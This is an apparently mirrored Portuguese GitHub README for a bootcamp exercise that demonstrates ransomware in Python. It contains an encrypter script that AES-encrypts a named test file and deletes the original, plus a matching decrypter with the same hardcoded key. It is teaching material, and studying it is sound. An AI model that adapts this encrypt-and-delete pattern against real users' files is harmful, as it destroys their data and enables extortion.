Giter VIP home page Giter VIP logo

projeto-ransomware-dio's Introduction

projeto-ransomware-dio

Código para o desafio de projeto Entendendo um Ransomware na Prática com Python do Santander Bootcamp Cibersegurança

Criando os códigos

  1. criando arquivo .txt nano testeransomware.txt

  2. encrypter.py

import os
import pyaes

## abrir o arquivo a ser criptografado
file_name = "testeransomware.txt"
file = open(file_name, "rb")
file_data = file.read()
file.close()

## remover o arquivo
os.remove(file_name)

## chave para criptografar
key = b"testeransomwares"
aes = pyaes.AESModeOfOperationCTR(key)

## criptografar o arquivo
crypto_data = aes.encrypt(file_data)

## salvar o arquivo criptografado
new_file = file_name + ".ransomwaretroll"
new_file = open(f'{new_file}','wb')
new_file.write(crypto_data)
new_file.close()
  1. decrypter.py
import os
import pyaes

## abrir o arquivo criptografado
file_name = "testeransomware.txt.ransomwaretroll"
file = open(file_name, "rb")
file_data = file.read()
file.close()

## chave para descriptografar o arquivo
key = b"testeransomwares"
aes = pyaes.AESModeOfOperationCTR(key)
decrypt_data = aes.decrypt(file_data)

## remover o arquivo criptografado
os.remove(file_name)

## criar o arquivo descriptografado
new_file = "testeransomware.txt"
new_file = open(f'{new_file}', "wb")
new_file.write(decrypt_data)
new_file.close()

Dicas

Olá, Pessoal!! Abaixo segue a dica para quem esá tendo dificulades em realizar o desafio "Entendendo um Ransomware na Prática com Python"

Para quem está executando o encrypter.py e está dando erro na Liha 2, conforme abaixo:

line2, in <module> import pyaes

ModuleNotFoundError: No mudule named 'pyaes'

image

Deve adicionar a biblioteca pyaes do Python confome abaixo

pip install pyaes

image

Arquivo encriptado

image

Arquivo descriptografado

image

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.